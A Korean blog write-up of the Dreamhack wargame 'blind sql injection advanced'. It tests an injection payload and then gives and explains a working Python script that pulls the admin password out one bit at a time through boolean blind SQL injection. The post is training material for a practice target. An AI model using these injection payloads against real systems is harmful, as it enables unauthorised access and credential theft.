본문 바로가기

드림핵

[드림핵 워게임] blind sql injection advanced

위의 문제를 다음과 같은 과정으로 풀어보았다.

 

 

1. 페이지 기능과 코드를 확인한다.

사이트에 접속했을 때 처음으로 뜨는 페이지이다. 쿼리문과 uid 입력창을 확인할 수 있다.

 

 

INSERT INTO users (uid, upw) values ('admin', 'DH{**FLAG**}');
INSERT INTO users (uid, upw) values ('guest', 'guest');
INSERT INTO users (uid, upw) values ('test', 'test');

다운로드한 파일 중에서 init.sql의 코드를 살펴보면 계정이 3개 삽입되어 있는 것을 확인할 수 있다.

 

 

입력창에 guest를 입력하면 상단에는 완성된 쿼리문이 뜨고, guest 라는 계정이 존재하므로 아래에는 user "guest" exists. 라는 문구가 뜬다.

 

 

존재하지 않는 user를 입력창에 입력하는 상단에는 완성된 쿼리문이 뜨고 user 라는 계정이 존재하지 않으므로 아래에는 아무런 문구도 뜨지 않는다. 쿼리문 실행 결과가 있으면 아래에 user "입력값" exists. 이라는 문구가 뜨고 실행 결과가 없으면 아무것도 안 뜨는 것임을 짐작할 수 있다.

 

 

{% if nrows == 1%}
    <pre style="font-size:150%">user "{{uid}}" exists.</pre>
{% endif %}

코드를 살펴보면 nrow가 1일 때, 즉 SELECT 결과가 한 줄인 경우에만 user "입력값" exists. 가 출력되는 것을 확인할 수 있다.

 

 

sql injection 공격이 가능한 지 확인하기 위해 입력창에 guest' and upw='guest'#를 입력해보았다.

user "guest' and upw='guest'#" exists. 가 뜨는 것을 보니 쿼리문이 정상적으로 실행된 것을 알 수 있다.

sql injection 공격에 대한 취약점을 가지고 있는 것을 확인할 수 있다.

sql injection 공격을 통해 쿼리문을 실행하여 아래에 user "입력값" exists. 문구가 뜨는지 여부에 따라 쿼리문의 참, 거짓을 판별하여 원하는 정보를 찾아낼 것이다.

 

 

 

2. 익스플로잇 코드를 작성한다.

익스플로잇 코드에는 admin 계정의 패스워드를 알아내는 내용이 들어간다.

1) 패스워드의 길이를 구한다.

2) 패스워드의 각 자리에 해당하는 문자의 아스키코드 길이를 찾아내어 한글과 아스키코드를 구분한다.

3) 패스워드의 각 자리에 해당하는 문자의 아스키코드 비트열을 찾아낸다.

4) 비트열을 문자로 변환한다.

from requests import get
host = "http://host3.dreamhack.games:*****"
password_length = 0
while True:
    password_length += 1
    query = f"admin' and char_length(upw) = {password_length}-- -"
    r = get(f"{host}/?uid={query}")
    if "exists" in r.text:
        break
print(f"password length: {password_length}")
password = ""
for i in range(1, password_length + 1):
    bit_length = 0
    while True:
        bit_length += 1
        query = f"admin' and length(bin(ord(substr(upw, {i}, 1)))) = {bit_length}-- -"
        r = get(f"{host}/?uid={query}")
        if "exists" in r.text:
            break
    print(f"character {i}'s bit length: {bit_length}")
    
    bits = ""
    for j in range(1, bit_length + 1):
        query = f"admin' and substr(bin(ord(substr(upw, {i}, 1))), {j}, 1) = '1'-- -"
        r = get(f"{host}/?uid={query}")
        if "exists" in r.text:
            bits += "1"
        else:
            bits += "0"
    print(f"character {i}'s bits: {bits}")
    password += int.to_bytes(int(bits, 2), (bit_length + 7) // 8, "big").decode("utf-8")
print(password)

파이썬으로 짠 익스플로잇 코드이다.

 

 

익스플로잇 코드를 분석해보면

from requests import get
host = "http://host3.dreamhack.games:*****"

requests 모듈에서 get함수를 import 한다.

host 변수에 host 주소를 저장한다.

 

 

password_length = 0
while True:
    password_length += 1
    query = f"admin' and char_length(upw) = {password_length}-- -"
    r = get(f"{host}/?uid={query}")
    if "exists" in r.text:
        break

패스워드의 길이를 구하는 코드이다.

char_length()는 mysql에서 문자열을 구성하는 문자의 개수를 가져오는 함수이다.

password_length의 값이 admin의 upw의 길이와 일치하게 되면 while 무한루프를 빠져나온다.

 

 

bit_length = 0
while True:
    bit_length += 1
    query = f"admin' and length(bin(ord(substr(upw, {i}, 1)))) = {bit_length}-- -"
    r = get(f"{host}/?uid={query}")
    if "exists" in r.text:
        break

패스워드의 각 자리에 해당하는 문자의 아스키코드 비트열의 길이를 찾아내는 코드이다.

substr() 함수는 문자열을 특정 위치부터 자르는 함수이다. substr(대상문자열, 시작위치, 길이) 로 구성된다.

ord() 함수는 아스키 코드의 값을 반환하는 함수이다. 여기에서는 substr()로 패스워드를 구성하는 한 문자를 가져와서 아스키 코드로 변환하는 기능을 하고 있다.

bin() 함수는 정수를 바이너리 값으로 변환하는 함수이다. 여기에서는 ord()로 변환한 아스키 코드값을 이진수로 바꾸는 역할을 하고 있다.

length() 함수는 비트열의 길이를 세는 함수이다.

 

 

bits = ""
for j in range(1, bit_length + 1):
    query = f"admin' and substr(bin(ord(substr(upw, {i}, 1))), {j}, 1) = '1'-- -"
    r = get(f"{host}/?uid={query}")
    if "exists" in r.text:
        bits += "1"
    else:
        bits += "0"

패스워드의 각 자리에 해당하는 문자의 아스키코드 비트열을 찾아내는 코드이다.

for문의 반복횟수는 앞선 while문에서 구한 바트열의 길이만큼이다.

upw의 i번째 문자를 이진수 아스키 코드로 변환한 비트열의 j번째 숫자가 1과 같으면 쿼리문 실행 결과 user "입력값" exists. 가 출력될 것이다. 그러면 해당 자리의 비트가 1임을 알 수 있다. user "입력값" exists. 가 출력되지 않았다면 해당 자리의 비트가 0인 것이다.

 

 

for i in range(1, password_length + 1):
	...
    password += int.to_bytes(int(bits, 2), (bit_length + 7) // 8, "big").decode("utf-8")

앞서 찾은 비트열을 디코딩하여 해당하는 문자를 찾아내는 코드이다.

int() 함수는 이진수로 표현된 비트열을 정수로 변환하는 함수이다.

int.to_bytes() 함수는 정수를 Big Endian 형태의 문자로 변환하는 함수이다.

bytes.decode("utf-8") 은 문자를 utf-8형태로 디코딩하는 기능을 하고 있다.

 

 

 

3. 익스플로잇 코드를 실행하여 플래그를 획득한다.

코드를 실행하여 플래그를 획득한다.

'드림핵' 카테고리의 다른 글

[드림핵 워게임] sql injection bypass WAF  (0) 2022.11.27
[드림핵 워게임] error based sql injection  (0) 2022.11.23
[드림핵 워게임] funjs  (0) 2022.11.18
[드림핵 워게임] login-1  (0) 2022.11.18
[드림핵 워게임] session  (0) 2022.11.11